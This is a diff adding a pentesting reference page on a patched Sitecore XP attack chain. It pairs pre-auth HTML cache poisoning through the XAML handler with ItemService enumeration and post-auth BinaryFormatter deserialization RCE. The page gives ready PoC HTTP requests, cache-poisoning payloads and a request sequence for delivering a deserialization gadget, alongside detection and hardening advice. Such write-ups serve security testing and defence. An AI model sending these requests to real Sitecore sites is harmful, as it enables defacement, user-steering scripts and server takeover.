|
| 1 | +# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a pre‑auth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden. |
| 6 | + |
| 7 | +- Affected product tested: Sitecore XP 10.4.1 rev. 011628 |
| 8 | +- Fixed in: KB1003667, KB1003734 (June/July 2025) |
| 9 | + |
| 10 | +See also: |
| 11 | + |
| 12 | +{{#ref}} |
| 13 | +../../../pentesting-web/cache-deception/README.md |
| 14 | +{{#endref}} |
| 15 | + |
| 16 | +{{#ref}} |
| 17 | +../../../pentesting-web/deserialization/README.md |
| 18 | +{{#endref}} |
| 19 | + |
| 20 | +## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write |
| 21 | + |
| 22 | +Entrypoint is the pre‑auth XAML handler registered in web.config: |
| 23 | + |
| 24 | +```xml |
| 25 | +<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" /> |
| 26 | +``` |
| 27 | + |
| 28 | +Accessible via: |
| 29 | + |
| 30 | +``` |
| 31 | +GET /-/xaml/Sitecore.Shell.Xaml.WebControl |
| 32 | +``` |
| 33 | + |
| 34 | +The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls: |
| 35 | + |
| 36 | +```csharp |
| 37 | +// AjaxScriptManager.OnPreRender |
| 38 | +string clientId = page.Request.Form["__SOURCE"]; // target control |
| 39 | +string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2") |
| 40 | +... |
| 41 | +Dispatch(clientId, text); |
| 42 | + |
| 43 | +// eventually → DispatchMethod(control, parameters) |
| 44 | +MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true); |
| 45 | +if (m != null) m.Invoke(this, e.Parameters); |
| 46 | + |
| 47 | +// Alternate branch for XML-based controls |
| 48 | +if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} |
| 49 | +``` |
| 50 | + |
| 51 | +Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl. |
| 52 | + |
| 53 | +Magic method for poisoning: |
| 54 | + |
| 55 | +```csharp |
| 56 | +// Sitecore.Web.UI.WebControl |
| 57 | +protected virtual void AddToCache(string cacheKey, string html) { |
| 58 | + HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); |
| 59 | + if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); |
| 60 | +} |
| 61 | +``` |
| 62 | + |
| 63 | +Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive. |
| 64 | + |
| 65 | +### PoC request (CVE-2025-53693) |
| 66 | + |
| 67 | +``` |
| 68 | +POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 |
| 69 | +Host: target |
| 70 | +Content-Type: application/x-www-form-urlencoded |
| 71 | +
|
| 72 | +__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 |
| 73 | +``` |
| 74 | + |
| 75 | +Notes: |
| 76 | +- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML). |
| 77 | +- __PARAMETERS format is Method("arg1","arg2"). |
| 78 | + |
| 79 | +## What to poison: Cache key construction |
| 80 | + |
| 81 | +Typical HtmlCache key construction used by Sitecore controls: |
| 82 | + |
| 83 | +```csharp |
| 84 | +public virtual string GetCacheKey(){ |
| 85 | + SiteContext site = Sitecore.Context.Site; |
| 86 | + if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){ |
| 87 | + string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey; |
| 88 | + if (key.Length > 0){ |
| 89 | + string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant(); |
| 90 | + if (this.VaryByData) k += ResolveDataKeyPart(); |
| 91 | + if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName(); |
| 92 | + if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn; |
| 93 | + if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName(); |
| 94 | + if (this.VaryByParm) k += "_#parm:" + this.Parameters; |
| 95 | + if (this.VaryByQueryString && site?.Request != null) |
| 96 | + k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&"); |
| 97 | + if (this.ClearOnIndexUpdate) k += "_#index"; |
| 98 | + return k; |
| 99 | + } |
| 100 | + } |
| 101 | + return string.Empty; |
| 102 | +} |
| 103 | +``` |
| 104 | + |
| 105 | +Example targeted poisoning for a known sublayout: |
| 106 | + |
| 107 | +``` |
| 108 | +__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 |
| 109 | +``` |
| 110 | + |
| 111 | +## Enumerating cacheable items and “vary by” dimensions |
| 112 | + |
| 113 | +If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys. |
| 114 | + |
| 115 | +Quick probe: |
| 116 | + |
| 117 | +``` |
| 118 | +GET /sitecore/api/ssc/item |
| 119 | +// 404 Sitecore error body → exposed (anonymous) |
| 120 | +// 403 → blocked/auth required |
| 121 | +``` |
| 122 | + |
| 123 | +List cacheable items and flags: |
| 124 | + |
| 125 | +``` |
| 126 | +GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 |
| 127 | +``` |
| 128 | + |
| 129 | +Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via: |
| 130 | + |
| 131 | +``` |
| 132 | +GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 |
| 133 | +``` |
| 134 | + |
| 135 | +### Side‑channel enumeration under restricted identities (CVE-2025-53694) |
| 136 | + |
| 137 | +Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices: |
| 138 | + |
| 139 | +``` |
| 140 | +GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true |
| 141 | +→ "TotalCount": 3 |
| 142 | +GET /...term=%2B_templatename:Device;%2B_group:aa* |
| 143 | +→ "TotalCount": 2 |
| 144 | +GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* |
| 145 | +→ narrow to a specific item |
| 146 | +``` |
| 147 | + |
| 148 | +## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) |
| 149 | + |
| 150 | +Sink: |
| 151 | + |
| 152 | +```csharp |
| 153 | +// Sitecore.Convert |
| 154 | +byte[] b = Convert.FromBase64String(data); |
| 155 | +return new BinaryFormatter().Deserialize(new MemoryStream(b)); |
| 156 | +``` |
| 157 | + |
| 158 | +Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML: |
| 159 | + |
| 160 | +```csharp |
| 161 | +HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); |
| 162 | +string text2 = inner?.GetAttributeValue("value", ""); |
| 163 | +if (text2.Length > 0) |
| 164 | + htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); |
| 165 | +``` |
| 166 | + |
| 167 | +Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks: |
| 168 | + |
| 169 | +``` |
| 170 | +// 1) Start Content Editor |
| 171 | +GET /sitecore/shell/Applications/Content%20Editor.aspx |
| 172 | +
|
| 173 | +// 2) Load malicious HTML into EditHtml session (XAML event) |
| 174 | +POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx |
| 175 | +Content-Type: application/x-www-form-urlencoded |
| 176 | +
|
| 177 | +__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= |
| 178 | +<html> |
| 179 | + <iframe id="test" src="poc" value="poc"></iframe> |
| 180 | + <test id="test_inner" value="BASE64_GADGET"></test> |
| 181 | +</html> |
| 182 | +
|
| 183 | +// 3) Server returns a session handle (hdl) for FixHtml |
| 184 | +{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."} |
| 185 | +
|
| 186 | +// 4) Visit FixHtml to trigger ConvertWebControls → deserialization |
| 187 | +GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... |
| 188 | +``` |
| 189 | + |
| 190 | +Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute. |
| 191 | + |
| 192 | + |
| 193 | +{{#ref}} |
| 194 | +../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md |
| 195 | +{{#endref}} |
| 196 | + |
| 197 | +## Complete chain |
| 198 | + |
| 199 | +1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager. |
| 200 | +2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow. |
| 201 | +3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity. |
| 202 | + |
| 203 | +## Detection |
| 204 | + |
| 205 | +- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`. |
| 206 | +- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`. |
| 207 | +- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields. |
| 208 | + |
| 209 | +## Hardening |
| 210 | + |
| 211 | +- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`. |
| 212 | +- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows. |
| 213 | +- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels. |
| 214 | +- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning. |
| 215 | + |
| 216 | +## References |
| 217 | + |
| 218 | +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) |
| 219 | +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) |
| 220 | +- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) |
| 221 | + |
| 222 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments